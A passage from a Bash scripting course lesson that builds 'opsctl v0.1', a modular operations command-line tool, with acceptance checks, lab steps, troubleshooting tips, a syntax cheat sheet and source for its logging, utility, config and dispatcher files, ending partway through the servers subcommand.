When: when opsctl should no longer use Bash

When subcommands start to need complex data structures (nested JSON, concurrent state), or when the core logic exceeds several hundred lines and is hard to test, follow the Google Shell Style Guide (consider a structured language once a script exceeds about 100 lines or its control flow becomes complex) and rewrite that part in Python / Go; opsctl can still remain as a “dispatcher + glue”. Desired-state management across multiple hosts is handed over to Ansible.

Common misconceptions① “The more complex the skeleton, the more professional”—v0.1 deliberately does only three things: dispatch, configuration, and one real subcommand; every function can be explained on its own. ② “You can publish first without tests”—the v0.1 acceptance checklist is the prototype of Lesson 7's bats tests; verify each item against it now. ③ “opsctl's CSV parsing can handle any CSV”—it supports commas inside quotes and "" escapes, but does not support newlines inside fields; it is enough for the team's servers.csv, and for general CSV use a dedicated tool.

Figure 8-1: module dependencies of opsctl v0.1

bin/opsctlopsctl::main / load_command lib/cmd_servers.shcmd::servers · servers::list lib/cmd_config.shcmd::config lib/config.shconfig::get / init … lib/util.sh lib/log.sh Data and configurationetc/opsctl.conf~/bashlab/data/servers.csv on-demand source (dashed)on-demand source
Figure 8-1: dependencies point only downward: subcommands → config → util → log; data files are read only by subcommands

Figure 8-2: the full sequence of one servers list call

opsctl servers list --env prod opsctl::mainconfig::*servers::listutil::csv_split ① global options (none) → config::init ② load_file etc/opsctl.conf; get log_level → LOG_LEVEL ③ load_command servers → cmd::servers list --env prod ④ parse options → config::set_flag env prod ⑤ get env/output/data_dir (nameref writes back to servers::list's local) ⑥ read and validate the header → print the header ⑦ for each line, csv_split "$line" f (nameref fills f) ⑧ filter by env/region → printf to stdout ⑨ return 0 → script exit code 0
Figure 8-2: the whole process uses a single Bash process with zero forks (not counting the readlink / dirname command substitutions at startup)

Animation: opsctl v0.1 file browser

Click a file to see its responsibilities, external function signatures (with explanations of the “return channels”) and the change plan for later lessons; the “Walk through” button highlights the files and functions used, in the order of Figure 8-2.

Acceptance command overview

#CommandExpected
1bash -n bin/opsctl lib/*.shno output, exit 0
2shellcheck -x bin/opsctl lib/*.shno output (measured with ShellCheck 0.11.0)
3bin/opsctl --help / help / -Vhelp includes config and servers; version 0.1.0; exit 0
4bin/opsctl servers list --env prodheader + 6 lines
5bin/opsctl servers list --env=all -o tsv | wc -l12 (TSV, no header)
6bin/opsctl servers list -e prod -o tsv | grep '^edge'web,api as a single field
7bin/opsctl config showfour keys and their sources
8OPSCTL_ENV=staging bin/opsctl servers list / plus --env prod3 lines for staging / 6 lines for prod (command line takes precedence)
9one example each for exit codes 0/1/2/3see the Module 6 exercise
10bash -euo pipefail bin/opsctl servers list --env prodsame as line 4 (preparing for Lesson 4)

run the full acceptance in one go

cd ~/bashlab/opsctl
bash -n bin/opsctl lib/*.sh && echo "1 syntax ok"
command -v shellcheck >/dev/null && shellcheck -x bin/opsctl lib/*.sh && echo "2 shellcheck ok"
bin/opsctl -V
bin/opsctl servers list --env prod
bin/opsctl servers list --env=all -o tsv | wc -l
bin/opsctl servers list -e prod -o tsv | grep '^edge' | cut -f5
for t in "servers list --env prod" "servers list --env qa" "nosuch"; do
  bin/opsctl $t >/dev/null 2>&1; echo "exit($t)=$?"
done
OPSCTL_DATA_DIR=/nowhere bin/opsctl servers list 2>/dev/null; echo "exit(no data)=$?"
bash -euo pipefail bin/opsctl servers list --env prod | tail -1
1 syntax ok
2 shellcheck ok
opsctl 0.1.0
NAME       ENV      REGION         IP              ROLE
web-01     prod     canadacentral  10.30.1.41      web
web-02     prod     canadacentral  10.30.1.42      web
api-01     prod     canadacentral  10.30.1.43      api
edge-01    prod     ca-central-1   10.30.2.51      web,api
db-01      prod     canadacentral  10.30.1.44      db
bastion-01 prod     ca-central-1   10.30.2.10      bastion
12
web,api
exit(servers list --env prod)=0
exit(servers list --env qa)=2
exit(nosuch)=2
exit(no data)=1
bastion-01 prod     ca-central-1   10.30.2.10      bastion

Install to PATH

mkdir -p ~/.local/bin
ln -sf ~/bashlab/opsctl/bin/opsctl ~/.local/bin/opsctl
case ":$PATH:" in *":$HOME/.local/bin:"*) ;; *) echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc; export PATH="$HOME/.local/bin:$PATH" ;; esac
cd /tmp && opsctl -v servers list --env staging 2>&1 | head -2
2026-11-17T10:00:01+0000 DEBUG opsctl: config file: /home/labadmin/bashlab/opsctl/etc/opsctl.conf
2026-11-17T10:00:01+0000 DEBUG opsctl: dispatch: cmd::servers list --env staging

In /tmp running through a symbolic link under, it still finds ~/bashlab/opsctl/etc/opsctl.conf—this is exactly what readlink -f "${BASH_SOURCE[0]}" is for.

Lab 8: accept and commit opsctl v0.1 (about 8 minutes)

Complete the files: followingthe comprehensive lab's 7 files to complete opsctl (files written in earlier modules can be overwritten directly with the versions from the comprehensive lab), then:
cd ~/bashlab/opsctl
chmod +x bin/opsctl; chmod -x lib/*.sh; touch test/.gitkeep
find . -path ./.git -prune -o -type f -print | sort
wc -l bin/opsctl lib/*.sh etc/opsctl.conf | tail -1
./.gitattributes
./bin/opsctl
./etc/opsctl.conf
./lib/cmd_config.sh
./lib/cmd_servers.sh
./lib/config.sh
./lib/log.sh
./lib/util.sh
./test/.gitkeep
  426 total
run the acceptance script on the “Commands” page, comparing line by line with the expected output. If any item does not match, first locate the problem with the decision tree on the “Troubleshooting” page below.
Verify strict mode compatibility (preparing for Lesson 4):
for a in "servers list --env prod" "servers list --env all -o tsv" "config show" "-v servers list"; do
  bash -euo pipefail bin/opsctl $a >/dev/null 2>&1; echo "strict: $a -> $?"
done
strict: servers list --env prod -> 0
strict: servers list --env all -o tsv -> 0
strict: config show -> 0
strict: -v servers list -> 0
Commit:
git add -A
git update-index --chmod=+x bin/opsctl
git commit -m "feat: opsctl v0.1 - dispatcher, config, servers list"
git tag v0.1.0
git log --oneline | head -1
3f2a9c1 feat: opsctl v0.1 - dispatcher, config, servers list

Lesson 4 starts from v0.1.0 tag. Cleanup: none (opsctl is kept); ~/bashlab/lesson3 the practice files in can be deleted.

Case 1: from a “script directory” to a “toolbox”

Problem: The team's scripts/ directory has more than 40 scripts, each parsing arguments and printing logs on its own, with inconsistent exit code meanings; newcomers do not know which one to use. Approach: Introduce an opsctl-style dispatcher: first rewrite the 5 most-used scripts as subcommands, sharing log.sh / util.sh / config.sh,opsctl help as the single entry point; the remaining scripts are migrated gradually. Limitation: During migration old and new coexist, so the old scripts need to print deprecation notices.

Case 2: using opsctl in CI

Problem: The pipeline needs to “list all staging servers and run checks on each one”. Approach:OPSCTL_ENV=staging opsctl servers list -o tsv | while IFS=$'\t' read -r name env region ip role; do …; done—TSV output is stable, logs go to stderr so they do not pollute the pipeline, and environment defaults are set by the job (individual steps can still use --env an explicit override). Limitation: A while loop in a pipeline runs in a subshell (Lesson 2); when you need to aggregate results, use while … done < <(opsctl …).

Case 3: a version check saved us from a “strange failure”

Problem: A colleague ran opsctl on macOS and got local: -n: invalid option and a series of other errors. Approach: v0.1 checks at the entry point BASH_VERSINFO, directly giving bash >= 4.3 required … brew install bash and exits with exit code 3. Configuration: shebang uses #!/usr/bin/env bash, with Homebrew's bash placed before the PATH entry is enough.

Interactive troubleshooting decision tree: opsctl does not behave as expected

Additional: common errors

opsctl: command not found (after installing to ~/.local/bin)

Cause:~/.local/bin not in PATH; or the current shell has cached an old command location.

echo "$PATH" | tr : '\n' | grep -n local; ls -l ~/.local/bin/opsctl; hash -r
ERROR opsctl: unexpected CSV header in …/servers.csv (exit code 1)

Cause: the data file's header is not name,env,region,ip,role (for example it has a BOM, columns are in a different order, or another tool rewrote it).

head -1 ~/bashlab/data/servers.csv | od -c | head -2

Fix: run again ~/bashlab/make-data.sh; the header check is a deliberate “fail fast”, which avoids using misaligned columns as IP addresses.

WARN opsctl: …/servers.csv:7: malformed row skipped

Cause: the quotes on this line are not closed, or the number of fields is not 5.

sed -n 7p ~/bashlab/data/servers.csv | cat -A

Fix: correct the data; opsctl skips bad lines instead of aborting, so that one bad line in the inventory does not affect lookups for the other servers.

Command-line exercises
1. Use opsctl to output the IP addresses of all prod servers in the canadacentral region, one per line.
opsctl servers list --env prod --region canadacentral -o tsv | cut -f4
# 10.30.1.41
# 10.30.1.42
# 10.30.1.43
# 10.30.1.44
2. Write one command line that counts the servers in each environment (use opsctl's TSV output).
opsctl servers list --env all -o tsv | cut -f2 | sort | uniq -c
#   3 dev
#   6 prod
#   3 staging
Scenario analysis
Lesson 6 needs to add opsctl health <url>, which depends on curl. Explain which files need to be added or changed, where dependencies are checked, and which exit code each kind of failure should use.

add lib/cmd_health.sh (header # opsctl-summary:, define cmd::health and health::usage), the dispatcher and help need no changes. Call cmd::health at the start of util::require_cmd curl (missing → 3); no URL argument or an option error → util::usage_error (2); HTTP check failure → return 1 or util::die (1); success → 0. New configuration keys such as timeout and retry count are added to OPSCTL_DEFAULTS, and automatically gain OPSCTL_* environment variable and config-file support; logs use log::*, and results (status code, elapsed time) go to stdout so that CI can parse them.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script) — Learn Linux TV
English · the build process of one complete script, which can be compared with opsctl's structured approach
▶
Bash in 100 Seconds — Fireship
English · about 2 minutes · quick review after class

References

Video storyboard (about 90 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: seven files drop down one after another like building blocks and assemble into opsctl's directory tree.
Narration: opsctl v0.1 consists of one entry point, four libraries and one configuration file.
Shot 2 · 20–50s
Picture: the servers list call flows along the sequence diagram; config get's nameref arrow writes back into servers list's local variable.
Narration: the whole call completes in a single Bash process, and the result is written back to the caller via nameref.
Shot 3 · 50–75s
Picture: the acceptance checklist is ticked item by item: syntax, ShellCheck, help, exit codes, strict-mode compatibility.
Narration: accept it against the checklist, then tag it v zero point one point zero.
Shot 4 · 75–90s
Picture: roadmap: v0.2 strict mode and trap, logs report; v0.3 health, backup, deploy; v1.0 tests and CI.
Narration: over the next four lessons, opsctl will grow step by step into a releasable operations tool.
or reach ≥ 70% on the quiz

Command cheat sheet: functions, scope and modularization

Print or bookmark: all the core syntax, pitfalls and opsctl conventions in this lesson
Bash 5.xopsctl v0.1

Functions and parameters

f() {                      # recommended form
  local a=${1:?need arg} b=${2:-default}
  shift 2 || true            # when there may be fewer than 2 arguments
  printf '%s\n' "$@"          # forwarding: always "$@"
  return 0                   # 0–255; do not pass data with return
}
"${FUNCNAME[0]}"  "${FUNCNAME[1]}"   # current / caller
caller 0                     # line function file
declare -F f >/dev/null      # does the function exist?
command ls                   # bypass a function with the same name
main "$@"                    # last line of the file

Scope

local x=1 y z=""            # make every variable in a function local
local -a arr=() ; local -A map=()
local IFS=, OPTIND          # isolate special variables
local -                      # restore set options on return (4.4+)
declare -g G=1               # create a global inside a function
declare x=1                  # inside a function = local!
# dynamic scope: a callee can read and write the caller's locals
# $(f) / ( f ) / cmd | f  → subshell, all changes are lost

Four channels for returning data

if f; then …; fi             # ① status
v=$(f) || die                # ② stdout (fork, strips trailing newline)
local v; v=$(f) || die       #    do not write local v=$(f) (SC2155)
printf -v "$out" '%s' "$val" # ③ write a scalar into the caller's variable
g() { local -n __r=$1; __r=(a b); }   # ④ nameref (4.3+)
# 5.3: v=${ f; } does not fork; v=${| f; } takes REPLY

nameref traps

util::is_identifier "$1" || return 2  # validate the name first
local -n __out=$1            # internal names get the __ prefix
# same-name shadowing: the caller passes "value" and the function also does local value
#   → writes into the function's own value
# circular reference: f ref with local -n ref=$1 inside the function
#   → warning: ref: circular name reference
# illegal name: local -n r='x;y' fails and r becomes an ordinary variable
unset -n ref                 # delete the reference itself
declare -p ref               # declare -n ref="target"

source and libraries

HOME_DIR=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd)
source "$HOME_DIR/lib/log.sh" || exit 1
# library file header:
# shellcheck shell=bash
[[ -n ${_PROJ_MOD_SH-} ]] && return 0; _PROJ_MOD_SH=1
# executed or sourced?
[[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"
# source lib.sh (no slash) searches PATH first!
shellcheck -x bin/tool lib/*.sh

getopts

parse() {
  local OPTIND opt
  while getopts ":e:vh" opt; do
    case $opt in
      e) env=$OPTARG ;;  v) verbose=1 ;;  h) usage; return 0 ;;
      :)  usage_error "-$OPTARG requires an argument" ;;
      \?) usage_error "unknown option -$OPTARG" ;;
    esac
  done
  shift $((OPTIND - 1))      # "$@" = operands
}

Hand-written long options

while (( $# )); do
  case $1 in
    -e|--env) [[ $# -ge 2 && -n $2 ]] || usage_error "$1 needs a value"
              env=$2; shift 2 ;;
    --env=*)  env=${1#*=}; shift ;;
    -h|--help) usage; exit 0 ;;
    --)       shift; break ;;
    -*)       usage_error "unknown option: $1" ;;
    *)        break ;;              # or report unexpected argument
  esac
done

opsctl v0.1 conventions

opsctl [-c FILE] [-v] <command> [options]
  help [CMD] | -h | --help     → stdout, 0
  -V | version                 → opsctl 0.1.0
  servers list [-e ENV] [-r REGION] [-o table|tsv]
  config show                  → KEY VALUE SOURCE
Exit codes: 0 success · 1 general error · 2 usage error · 3 missing dependency
Precedence: OPSCTL_<KEY> > command line > etc/opsctl.conf > default
Naming: module::function; subcommand lib/cmd_<name>.sh → cmd::<name>
stdout = data; stderr = log::* logs and errors

Quick troubleshooting table

Symptom / errorMost likely causeFix
After a function call, the caller's variable changeda called function is missing local (dynamic scope)declare all function variables local; declare -p compare
local v=$(cmd) || die never triggerslocal return 0 hides the failuresplit into two lines (SC2155)
return the result ofis “smaller”, taken modulo 256pass data via stdout / nameref
circular name referencenameref name is the same as the variable name passed inadd the __ prefix to internal names
invalid variable name for name referencean illegal variable name was passed inutil::is_identifier validate
local: -n: invalid optionBash 3.2 (ships with macOS)brew install bash
../lib/x.sh: No such filesource relative path dependency $PWDuse BASH_SOURCE to compute the directory
`log::info': not a valid identifierBash ≤ 5.2 in POSIX modebash script, do not sh script
getopts does nothing on the second callOPTIND not resetlocal OPTIND
hand-written parser loops forevera branch has no shiftevery branch consumes its arguments
config change has no effectenvironment variable OPSCTL_* has higher precedenceopsctl config show
bash\r: No such file or directoryCRLF line endingssed -i 's/\r$//'; .gitattributes eol=lf

Recommended config snippets

#######################################
# Return the final value of a configuration key.
# Globals:   OPSCTL_DEFAULTS OPSCTL_FILE OPSCTL_FLAGS
# Arguments: key, output variable name, [source variable name]
# Outputs:   errors to stderr
# Returns:   0 success; 1 unknown key; 2 illegal variable name
#######################################
config::get() { …; }
*.sh       text eol=lf
bin/*      text eol=lf
*.conf     text eol=lf
# ---- .shellcheckrc (Lesson 7) ----
external-sources=true
source-path=SCRIPTDIR

Comprehensive lab: build opsctl v0.1 from scratch (the starting point for Lessons 4–7)

Complete source · create file by file · acceptance · commit; finish with open-ended self-tests and the 12-question final quiz
About 30 minutesopsctl 0.1.0 · 7 files · 426 linesWork only inside ~/bashlab
Scenario

Your team needs a unified operations command-line tool. The first version only needs: an extensible subcommand dispatcher, unified logging and exit codes, configuration whose sources can be explained, and one real working subcommand—querying the server inventory by environment (~/bashlab/data/servers.csv). The next four lessons add strict mode and trap (Lesson 4), log reports (Lesson 5), health checks / backup / deployment (Lesson 6), and tests and CI (Lesson 7) on top of this code.

If you have not completed the earlier modules: first followLesson 1 Module 0 to save ~/bashlab/make-data.sh, then copy the 8 steps below to get exactly the v0.1 of this lesson. The source code below was actually run on Bash 5.2.37 and passes ShellCheck 0.11.0 shellcheck -x (zero warnings). Note: each file uses <<'OPSCTL_EOF' as the here-doc end marker—because bin/opsctl and cmd_servers.sh internally use <<EOF … EOF, if the outer level also used EOF, the here-doc would end early at the EOF inside the inner one.

Directory skeleton and sample data
mkdir -p ~/bashlab/opsctl/{bin,lib,etc,test} ~/bashlab/data && cd ~/bashlab/opsctl
[[ -d .git ]] || git init -b main 2>/dev/null || git init
printf '%s\n' '*.sh text eol=lf' 'bin/* text eol=lf' '*.conf text eol=lf' > .gitattributes
touch test/.gitkeep
# sample data comes from make-data.sh in Lesson 1 (see Lesson 1 Module 0 for the script)
bash ~/bashlab/make-data.sh >/dev/null
cksum ~/bashlab/data/servers.csv        # 3087317886 526 …/servers.csv
lib/log.sh and lib/util.sh (Modules 3, 4)
cat > lib/log.sh <<'OPSCTL_EOF'
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error
# Convention: logs always go to stderr; stdout is reserved for "data" (can be captured by pipes, redirection, $(...)).
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0   # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1

declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info}              # set by bin/opsctl after the configuration is parsed

log::_emit() {   # log::_emit <level> <message...>
  local level=$1; shift
  local want=${_LOG_RANK[$LOG_LEVEL]:-20}
  (( ${_LOG_RANK[$level]:-20} >= want )) || return 0
  # %(...)T is the time format built into printf (Bash 4.2+); no need to fork a date process
  printf '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s: %s\n' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$*" >&2
}
log::debug() { log::_emit debug "$@"; }
log::info()  { log::_emit info  "$@"; }
log::warn()  { log::_emit warn  "$@"; }
log::error() { log::_emit error "$@"; }
OPSCTL_EOF
cat > lib/util.sh <<'OPSCTL_EOF'
# shellcheck shell=bash
# lib/util.sh —— general utility functions (depends on lib/log.sh)
# Exit code convention: 0 success · 1 general error · 2 usage error · 3 missing dependency
[[ -n ${_OPSCTL_UTIL_SH-} ]] && return 0
_OPSCTL_UTIL_SH=1

util::die() {            # util::die <message> [exit_code=1]
  log::error "$1"
  exit "${2:-1}"
}

util::usage_error() {    # util::usage_error <message>  → exit code 2
  log::error "$1"
  printf "Try '%s --help' for more information.\n" "${OPSCTL_PROG:-opsctl}" >&2
  exit 2
}

util::require_cmd() {    # util::require_cmd <cmd>...  → exit code 3 if any one is missing
  local c
  local -a missing=()
  for c in "$@"; do
    command -v -- "$c" >/dev/null 2>&1 || missing+=("$c")
  done
  (( ${#missing[@]} == 0 )) || util::die "missing required command(s): ${missing[*]}" 3
}

util::in_list() {        # util::in_list <needle> <item>...  → 0 found / 1 not found
  local needle=$1 item
  shift
  for item in "$@"; do
    [[ $item == "$needle" ]] && return 0
  done
  return 1
}

util::is_identifier() {  # util::is_identifier <name>: whether it is safe to use as a variable name
  [[ $1 =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]]
}

util::csv_split() {      # util::csv_split <line> <array_name>
  # Split one CSV line into the caller's array (nameref). Supports fields like "with,comma" and "" escapes.
  # Local variables all get the __ prefix to avoid clashing with the variable name passed by the caller (a classic nameref trap).
  util::is_identifier "$2" || { log::error "util::csv_split: bad variable name '$2'"; return 2; }
  local __line=$1 __field="" __c __i __q=0
  local -n __arr=$2
  __arr=()
  for (( __i = 0; __i < ${#__line}; __i++ )); do
    __c=${__line:__i:1}
    if (( __q )); then
      if [[ $__c == '"' ]]; then
        if [[ ${__line:__i+1:1} == '"' ]]; then
          __field+='"'
          __i=$((__i + 1))
        else
          __q=0
        fi
      else
        __field+=$__c
      fi
    else
      case $__c in
        '"') __q=1 ;;
        ',') __arr+=("$__field"); __field="" ;;
        *)   __field+=$__c ;;
      esac
    fi
  done
  (( __q == 0 )) || return 1          # quote not closed → this line is malformed
  __arr+=("$__field")
}
OPSCTL_EOF
lib/config.sh (Module 7)
cat > lib/config.sh <<'OPSCTL_EOF'
# shellcheck shell=bash
# lib/config.sh —— configuration loading and merging
# Precedence (high → low): command-line options > environment variable OPSCTL_<KEY> > config file > built-in defaults
[[ -n ${_OPSCTL_CONFIG_SH-} ]] && return 0
_OPSCTL_CONFIG_SH=1

declare -gA OPSCTL_DEFAULTS=(
  [env]=dev
  [data_dir]="$HOME/bashlab/data"
  [log_level]=info
  [output]=table
)
declare -gA OPSCTL_FILE=()     # values read from the config file
declare -gA OPSCTL_FLAGS=()    # command-line options (both global and subcommand options are written here)
OPSCTL_CONFIG_FILE=""          # path of the config file actually used (may be empty)

config::load_file() {          # config::load_file <file>: safely parse key = value, never source
  local file=$1 line key value n=0
  while IFS= read -r line || [[ -n $line ]]; do
    n=$((n + 1))
    line=${line%$'\r'}                                   # tolerate Windows line endings
    [[ $line =~ ^[[:space:]]*(#|$) ]] && continue        # comments and blank lines
    if [[ $line =~ ^[[:space:]]*([a-z_]+)[[:space:]]*=[[:space:]]*(.*)$ ]]; then
      key=${BASH_REMATCH[1]}
      value=${BASH_REMATCH[2]}
    else
      log::error "$file:$n: invalid line: $line"
      return 1
    fi
    value=${value%"${value##*[![:space:]]}"}             # strip trailing whitespace
    if [[ $value =~ ^\"(.*)\"$ || $value =~ ^\'(.*)\'$ ]]; then
      value=${BASH_REMATCH[1]}                           # strip matched quotes
    fi
    [[ $value == \~/* ]] && value=$HOME/${value#\~/}     # expand only a leading ~/
    if [[ -z ${OPSCTL_DEFAULTS[$key]+set} ]]; then
      log::warn "$file:$n: unknown key '$key' (ignored)"
      continue
    fi
    OPSCTL_FILE[$key]=$value
  done < "$file"
}

config::set_flag() {           # config::set_flag <key> <value>: record the value of a command-line option
  OPSCTL_FLAGS[$1]=$2
}

config::get() {                # config::get <key> <out_var> [source_var]
  # The result is written back to the caller's variable through nameref; the source (flag/env/file/default) is written back with printf -v.
  local __key=$1
  util::is_identifier "$2" || { log::error "config::get: bad variable name '$2'"; return 2; }
  local -n __val=$2
  local __env_name="OPSCTL_${__key^^}" __src
  if [[ -n ${OPSCTL_FLAGS[$__key]-} ]]; then
    __val=${OPSCTL_FLAGS[$__key]}; __src="flag"
    if [[ -n ${!__env_name-} && ${!__env_name} != "$__val" ]]; then
      log::debug "flag value '$__val' overrides $__env_name=${!__env_name}"
    fi
  elif [[ -n ${!__env_name-} ]]; then
    __val=${!__env_name}; __src="env $__env_name"
  elif [[ -n ${OPSCTL_FILE[$__key]-} ]]; then
    __val=${OPSCTL_FILE[$__key]}; __src="file $OPSCTL_CONFIG_FILE"
  elif [[ -n ${OPSCTL_DEFAULTS[$__key]+set} ]]; then
    __val=${OPSCTL_DEFAULTS[$__key]}; __src="default"
  else
    log::error "config::get: unknown key '$__key'"
    return 1
  fi
  if [[ -n ${3-} ]]; then
    util::is_identifier "$3" || return 2
    printf -v "$3" '%s' "$__src"
  fi
}

config::init() {               # config::init [config_file_from_flag]
  # The config file path likewise follows flag > env > default
  local flag_file=${1-} file required=1
  if [[ -n $flag_file ]]; then
    file=$flag_file
  elif [[ -n ${OPSCTL_CONFIG-} ]]; then
    file=$OPSCTL_CONFIG
  else
    file=$OPSCTL_HOME/etc/opsctl.conf
    required=0
  fi
  if [[ -r $file ]]; then
    OPSCTL_CONFIG_FILE=$file
    config::load_file "$file" || return 1
  elif (( required )); then
    log::error "config file not readable: $file"
    return 1
  fi
  config::get log_level LOG_LEVEL || return 1
  if ! util::in_list "$LOG_LEVEL" debug info warn error; then
    local bad=$LOG_LEVEL
    LOG_LEVEL=info
    util::usage_error "invalid log_level '$bad' (expected debug|info|warn|error)"
  fi
  log::debug "config file: ${OPSCTL_CONFIG_FILE:-<none>}"
}
OPSCTL_EOF
etc/opsctl.conf
cat > etc/opsctl.conf <<'OPSCTL_EOF'
# etc/opsctl.conf —— opsctl configuration file (key = value)
# This file is parsed line by line by config::load_file using an allowlist and is never executed by source.
# Precedence: command-line options > environment variable OPSCTL_<KEY> > this file > built-in defaults
env = dev
data_dir = ~/bashlab/data
log_level = info
output = table
OPSCTL_EOF
bin/opsctl (Module 6)
cat > bin/opsctl <<'OPSCTL_EOF'
#!/usr/bin/env bash
# opsctl —— entry point for the ~/bashlab operations toolbox (v0.1, Lesson 3)
# Usage: opsctl [global options] <subcommand> [subcommand options]
# shellcheck source-path=SCRIPTDIR/..
# Exit codes: 0 success · 1 general error · 2 usage error · 3 missing dependency

# 0) Interpreter check: written as two statements; dash/sh exits at the first one and never parses (( ))
if [ -z "${BASH_VERSION-}" ]; then echo "opsctl: please run with bash, not sh" >&2; exit 3; fi
if (( BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 3) )); then
  echo "opsctl: bash >= 4.3 required (found $BASH_VERSION); on macOS: brew install bash" >&2
  exit 3
fi
if shopt -qo posix; then   # on systems where “sh is bash”, running opsctl under sh enters POSIX mode
  echo "opsctl: run as 'bash opsctl' or './opsctl', not in POSIX mode" >&2
  exit 3
fi

# 1) Locate the install directory (resolve symbolic links, so that ln -s into ~/.local/bin works)
OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd) || exit 1
readonly OPSCTL_HOME
readonly OPSCTL_VERSION="0.1.0"
OPSCTL_PROG=${0##*/}
readonly OPSCTL_PROG

# 2) Load libraries (order matters: util uses log, config uses util and log)
# shellcheck source=lib/log.sh
source "$OPSCTL_HOME/lib/log.sh" || exit 1
# shellcheck source=lib/util.sh
source "$OPSCTL_HOME/lib/util.sh" || exit 1
# shellcheck source=lib/config.sh
source "$OPSCTL_HOME/lib/config.sh" || exit 1

opsctl::list_commands() {      # scan the "# opsctl-summary:" comments in lib/cmd_*.sh
  local f name line summary
  for f in "$OPSCTL_HOME"/lib/cmd_*.sh; do
    [[ -e $f ]] || continue
    name=${f##*/cmd_}
    name=${name%.sh}
    summary=""
    while IFS= read -r line; do
      if [[ $line == '# opsctl-summary: '* ]]; then summary=${line#'# opsctl-summary: '}; break; fi
    done < "$f"
    printf '  %-16s %s\n' "$name" "$summary"
  done
}

opsctl::usage() {
  cat <<EOF
$OPSCTL_PROG $OPSCTL_VERSION - ops toolbox for ~/bashlab

Usage: $OPSCTL_PROG [global options] <command> [command options]

Global options:
  -c, --config FILE  config file (default: \$OPSCTL_HOME/etc/opsctl.conf)
  -v, --verbose      debug logging (same as OPSCTL_LOG_LEVEL=debug)
  -h, --help         show this help
  -V, --version      show version

Commands:
$(opsctl::list_commands)
  help [COMMAND]   show help for a command

Precedence: flags > environment (OPSCTL_*) > config file > defaults
Exit codes: 0 ok, 1 error, 2 usage error, 3 missing dependency
EOF
}

opsctl::load_command() {       # opsctl::load_command <name>: source lib/cmd_<name>.sh
  local name=$1 file
  [[ $name =~ ^[a-z][a-z0-9_]*$ ]] || return 1      # reject path injection such as ../
  file=$OPSCTL_HOME/lib/cmd_$name.sh
  [[ -r $file ]] || return 1
  # shellcheck source=/dev/null
  source "$file" || return 1
  declare -F "cmd::$name" >/dev/null                # the file must define cmd::<name>
}

opsctl::main() {
  local config_flag=""
  while (( $# )); do                                # parse only the global options that come before the subcommand
    case $1 in
      -c|--config)
        [[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
        config_flag=$2; shift 2 ;;
      --config=*)   config_flag=${1#*=}; shift ;;
      -v|--verbose) config::set_flag log_level debug; shift ;;
      -h|--help)    opsctl::usage; return 0 ;;
      -V|--version) printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"; return 0 ;;
      --)           shift; break ;;
      -*)           util::usage_error "unknown global option: $1" ;;
      *)            break ;;
    esac
  done

  config::init "$config_flag" || return 1

  local cmd=${1-}
  case $cmd in
    "")
      opsctl::usage >&2
      return 2 ;;
    help)
      shift
      if (( $# == 0 )); then opsctl::usage; return 0; fi
      opsctl::load_command "$1" || util::usage_error "unknown command: $1"
      "cmd::$1" --help
      return ;;
    version)
      printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"
      return 0 ;;
  esac
  shift
  opsctl::load_command "$cmd" || util::usage_error "unknown command: $cmd"
  log::debug "dispatch: cmd::$cmd $*"
  "cmd::$cmd" "$@"
}

opsctl::main "$@"
OPSCTL_EOF
chmod +x bin/opsctl
lib/cmd_servers.sh and lib/cmd_config.sh (Modules 5, 7)
cat > lib/cmd_servers.sh <<'OPSCTL_EOF'
# shellcheck shell=bash
# opsctl-summary: query the server inventory (servers list --env ENV)
# lib/cmd_servers.sh —— subcommand servers: reads <data_dir>/servers.csv

servers::usage() {
  cat <<EOF
Usage: ${OPSCTL_PROG:-opsctl} servers list [options]

List servers from <data_dir>/servers.csv.

Options:
  -e, --env ENV        dev | staging | prod | all   (default: from config, else dev)
  -r, --region REGION  filter by region, e.g. canadacentral, ca-central-1
  -o, --output FMT     table | tsv                   (default: table)
  -h, --help           show this help

Environment: OPSCTL_ENV, OPSCTL_DATA_DIR, OPSCTL_OUTPUT (flags take precedence).
EOF
}

cmd::servers() {
  local action=${1-}
  case $action in
    list)              shift; servers::list "$@" ;;
    -h|--help|help)    servers::usage ;;
    "")                servers::usage >&2; return 2 ;;
    *)                 util::usage_error "unknown servers action: '$action'" ;;
  esac
}

servers::list() {
  local region="" env data_dir output src
  while (( $# )); do
    case $1 in
      -e|--env|-r|--region|-o|--output)
        [[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
        case $1 in
          -e|--env)    config::set_flag env "$2" ;;
          -r|--region) region=$2 ;;
          -o|--output) config::set_flag output "$2" ;;
        esac
        shift 2 ;;
      --env=*)    config::set_flag env "${1#*=}";    shift ;;
      --region=*) region=${1#*=};               shift ;;
      --output=*) config::set_flag output "${1#*=}"; shift ;;
      -h|--help)  servers::usage; return 0 ;;
      --)         shift; break ;;
      -*)         util::usage_error "unknown option for 'servers list': $1" ;;
      *)          util::usage_error "unexpected argument: $1" ;;
    esac
  done
  (( $# == 0 )) || util::usage_error "unexpected argument: $1"

  config::get env env src || return 1
  util::in_list "$env" dev staging prod all \
    || util::usage_error "invalid env '$env' (from $src); expected dev|staging|prod|all"
  config::get output output src || return 1
  util::in_list "$output" table tsv \
    || util::usage_error "invalid output '$output' (from $src); expected table|tsv"
  config::get data_dir data_dir || return 1

  local file=$data_dir/servers.csv
